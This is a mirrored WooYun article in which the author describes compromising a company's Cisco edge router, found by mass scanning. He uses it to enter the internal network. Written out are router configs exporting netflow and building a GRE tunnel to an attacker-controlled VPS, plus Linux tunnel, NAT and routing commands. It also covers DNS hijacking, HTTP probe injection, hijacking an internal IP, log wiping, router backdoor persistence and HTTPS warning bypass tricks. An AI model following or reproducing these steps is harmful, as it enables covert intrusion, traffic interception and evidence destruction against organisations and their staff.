利用被入侵的路由器邁入內網

wyzsk發表於2020-08-19
作者: vodu · 2015/09/25 10:23

去年開始利用路由器對目標內網進行滲透的方式方法開始研究,測試了一陣了。看到烏雲之前有一篇翻譯外國人的文章,講路由器流量劫持的,利用條件苛刻,成效也不大。所以決定寫一篇自己實測的例子。

0x01 控制路由器


現在只搞cisco的路由器,但是方法不限於cisco,華為,juniper什麼的都可以。

這一步沒有什麼好的辦法,我們利用分散式掃描抓到了一些路由器,再加上其他的漏洞,有了一定數量作為測試保證。

選擇一臺 cisco c800系列的小企業路由器(很老了)

圖1 router version

進去之後,先檢視日誌,登陸認證相關資訊。

圖 2 router 登陸等相關資訊

有一個登陸限制的acl,被我之前刪掉了,這就找到了telnet的密碼。同時沒有開啟aaa認證,也就不存在什麼認證伺服器什麼的,就只有本地驗證。沒有任何日誌伺服器的配置,連snmp都沒有配置(本來還想留一個snmp的後門,看來是不行了)。

趕緊新增賬號密碼,加固路由器,修復漏洞。

圖3 新增特權賬戶

0x02 網路拓撲分析


基本操作完,趕緊保留一份完整的配置(這個不能完整的貼出來)然後分析基本網路架構。

總述就是這是一個公司的小分部,透過pppoe加nat上網,有一個公網ip地址,有一個10.xx.xx.0/24的內網地址,透過gre的隧道,和主公司相連,擁有更為龐大的內網。

這種網路形式是最為常見的,透過ISP撥號獲取公網地址,然後內網機器透過nat上網。全公網ip地址的公司網路極為少見。

網路拓撲如下

圖4 網路拓撲示意圖

0x03 準備進入內網


內網機器透過NAT訪問Google,同時內網受到NAT的保護。我們控制了R1這臺路由器,處於內網出口;還有一臺公網VPS,ubuntu12.04 。R2表示很多臺路由器,沒有控制許可權。

由於想要進行內網滲透測試,需要獲取更多的資訊。我們另外新增一臺公網VPS(win2008R)在上面架設流量監視伺服器,分析內網日常流量和行為。

win2008搭建的是netflow伺服器,在R1上配置netflow,來觀測內網流量資訊。netflow軟體網上有好多,solarwind最好,支援sqlserver2005,能儲存大量的資料,沒找到破解版。我用的ManageEngine,到處都是破解版。

netflow配置:

ip flow-export so int e 0
ip flow-ex dst 1.1.1.1 8888
ip flow-ex ver 5
……

流量分析比較直觀,公司日常工作流量都是透過GRE Tunnel到達主網路,日常流量以http和https為主,而且透過流量統計可以看出來,他們的dns絕大多數都是Google public dns,佔了所有dns流量的90%以上。

圖6 目標網路流量總覽圖

圖7 流量分類示意圖

統計出來的web流量,嘗試去開啟這些網頁,我都打不開,都是提示404 Not Found或者就是證書錯誤。這樣看不見到底訪問的是什麼網站,Google也都沒有搜尋記錄,就只能勉強看一下bing的同站,結果記錄還是特別少。

為了摸清這個內網更為詳細的資訊(公司叫什麼名字,員工經常登陸什麼網站,常用軟體是什麼),就只能先劫持一下DNS了。由於網路環境比較惡略,有個NAT使得網路複雜太多。所以不選擇使用透明劫持方式,選擇用閘道器劫持方式。

做一下名詞解釋:

透明劫持方式:自定義名詞,即不修改資料包的源IP地址和目的IP地址,只對資料包的data和checksum進行修改。這樣基本不會讓使用者和伺服器引起任何察覺,做到完全透明,同時無法被殺軟防火牆IPS之類的發覺,除了增加一些延遲。

閘道器劫持方式:顧名思義,就是作為一個閘道器,對經過我的流量進行路由和NAT,使得流量能夠正常在Internet上傳輸。會產生較大的影響,以Gmail為例,會提示異地登陸等。

關於劫持有一條準側(我總結的):在有防火牆或者NAT的環境中劫持流量,你在哪把資料包接走,必須得把資料包(被劫持的資料包或者該資料包的回包)送回到那裡。

這裡做一下解釋,在NAT上網的環境中做GRE通道的流量劫持,會很麻煩。出方向資料包透過路徑為先進入GRE Tunnel,然後作為一個GRE 資料包透過NAT,也就是NAT只對GRE資料包生效,並且記錄下狀態,不會對被包含在GRE 中的資料包進行NAT,所以入方向,無法透過NAT。 這樣的解釋適用於防火牆。

因為程式設計能力有限等考慮,決定使用閘道器劫持模式。

在R1的連線公網的埠和我的Linux eth0 建立GRE Tunnel

Linux IP 地址:1.1.1.1

路由器公網IP地址:2.2.2.2

R1的配置

en
conf t
int tunnel 1
tunnel so e0(介面名稱,也可以使用介面IP地址,但是會出問題)
tunnel dest 1.1.1.1
ip add 12.1.1.1 255.255.255.252
end

linux Ubuntu 配置: 建立GRE Tunnel

#modprobe ip_gre
#lsmode | grep    

#ip tunnel add gre1 mode gre  remote 2.2.2.2 local 1.1.1.1 ttl 255
#ip link set gre1 up
#ip addr add 12.1.1.2 peer 12.1.1.1 dev gre1

在Tunnel的兩端都PING一下對端的IP地址,應該都是通的。

然後開啟路由轉發

將 /proc/sys/net/ip_forward 的數值修改為 1 (本次有效,重啟後失效)

修改 /etc/sysctl.conf 檔案,讓包轉發在系統啟動時生效

net.ipv4.ip_forward = 1 前面的#號去掉

開啟Iptables 的NAT

#iptables -t nat -A POSTROUTING -s 192.168.1.0/25 -j SNAT —to-source 202.103.224.58 

192的地址為需要做NAT的地址,202地址為已有公網IP地址,配置單詞生效,重啟後失效。

儲存iptables 的規則 。

#service iptables save

新增內網路由

route add -net 10.0.0.0/8 gre1 

通往10.0.0.0這個八位的網路全部走gre1這個出口,即全部走GRE隧道。

然後利用我們自己開發的軟體獲取DNS資料內容 ,內容不方便貼出。

劫持了幾天dns,看他們上了幾天網之後,對內網有了個更為清楚的認識。進一步對HTTP資料包進行修改,加了個探針。探明之後再準備加入EXP獲取內網許可權,結果都是chrome,就放棄了。探針資訊不方便貼出。

流量中還有telnet,ssh這類的流量,但是不能劫持,目的地址做了acl的限制,我的Linux不能訪問,直接refuse。

0x04 進入內網


流量不能幫我獲取內網許可權,就只能自己進入內網。

強制劫持一個內網沒有人用的合法IP地址,透過連線linux openVPN分配給自己,剩下只要在路由器新增這個地址的主機路由和在Linux上新增到10.xx.xx.xx/8 的預設路由,然後我的WorkStation就獲得了內網訪問許可權(沒有像VPN什麼的限制,訪問許可權等同於路由器許可權)。

如何讓自己的WorkStation進入內網就是很隨意的了,方法實在是太多,因為此時這臺Ubuntu已經在內網中。openVPN配置和新增路由配置就不貼出了,網上太多。

圖8 驗證Ubuntu於內網的連通性

這樣的內網滲透是有以下幾個優點:

  1. 你所有的流量會被內網流量裝置認為是內網流量,流量稍微大一點的內網,你可以隨意下載檔案,不用再關心流量過大引起報警。(理論,沒脫過檔案)
  2. 在路由器上做好隱藏,規避netflow監測,去掉日誌,在臨走的時候直接erease所有的儲存器,你的行為在內網不可查。(理論,沒做過)
  3. 如果地址劫持的合適,能繞過內網伺服器的登陸限制(三層限制)。
  4. 時間把握的好,可以製造內網某員工從檔案伺服器大量下載檔案的假象。(理論,沒做過)

缺點

就一個,資料包不加密,這點很煩人,資料包基本全透明。要是路由器外沒有安全裝置了或者直接做一個IPSec Tunnel,就等同於沒缺點。

總結,就是擁有極高的隱蔽性,遠高於VPN,馬什麼的。連日誌伺服器都可以不怎麼理他。

本文標題為邁入內網,並非內網滲透,不做內網滲透相關研究。

所有的敏感的資訊已經修改塗掉。

0x05 後話


其他的一些小討論

關於鏈路延遲,研究比較多,需要多說一點。以我劫持的Google為例,我在Google與內網路徑的附近,並且是靠近Google的一端。

到Google的延遲平均為0.617ms

圖9 Ubuntu 到Google延遲

路由器到Linux的延遲平均為256ms,路由器直接ping Google 平均延遲時180ms

圖10 路由器網路延遲截圖

Linux處理劫持資料,修改資料包的軟體延遲約為5ms,所以預估劫持之後的延遲應該在260ms左右。

但是,經過劫持之後,到目標的延遲為248,該數值小於256ms+0.6ms+5ms,至於為什麼,無法解釋。

總體延遲影響,增加了180ms的三分之一,60ms左右。

之前我們對延遲有過較多的討論:增加了延遲的三分之一,影響會比較明顯,容易被察覺從而引發報警。我個人認為,大家上百度比平時延遲增加了500ms,或是1s,就算是baidu的運維,在檢查完IP地址,看完tracert之後,也就罵罵運營商。更何況一般網路使用者不會認為是運營商的問題,只會認為是不是自己電腦卡了,可能有人懷疑自己被網路劫持了麼。

關於內網路由器的討論,本文研究的路由器為網路邊界路由器,至少有一個公網IP地址。當路由器或者三層交換處於內網中,劫持能否使用,答案是可以的。透過建立七層應用層隧道(GRE為三層網路層隧道),就像我們個人電腦一樣,穿過內網。或者直接同內網的一臺伺服器建立連線,劫持資料(經過驗證,但是公網測試時,對端是一臺公網CISCO路由器2911,沒試過伺服器,開發能力有限)。

如果需要穿透內網,需要應用層VPN,例如IPSec VPN,EZ VPN (我測試了這倆,其他的高於三層的VPN都理論可行)等,配置比GRE Tunnel複雜的多,但懂了原理配置還是很簡單的。配置實在是貼不完。IP Sec VPN理論上應該可以向IP Sec VPN 伺服器建立連線,我沒成功,還在理論層面研究。EZ VPN ,CISCO專有,肯定不能在WIN或者linux上搭建伺服器。

關於駐留,透過路由器擴充套件內網駐留或者路由器後門駐留,比馬什麼的好太多了,除了NSA和fireeye,沒聽說過誰接觸過過路由器後門的。國內絕對是通殺,會配置路由器的都沒幾個人,更別說反查。

關於HTTPS的討論:綠標這個問題確實比較頭疼,我目前嘗試能過的就是巢狀,在綠標中插入紅標,最後使用者看到的還是綠標。

關於流量劫持軟體,網上都說劫持軟體多如牛毛,但是實際上找下來,就沒有一個可以拿來直接用的,尤其是在透明劫持這個模式下,沒發現能直接用的,像什麼MITMproxy什麼什麼的,大家都說好,實際測試一下,也就適合開發人員除錯軟體,所以只能自己開發,但是開發能力有限。

希望大家推薦一些,能效率很高的處理大流量(例如BGP劫持)的軟體。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章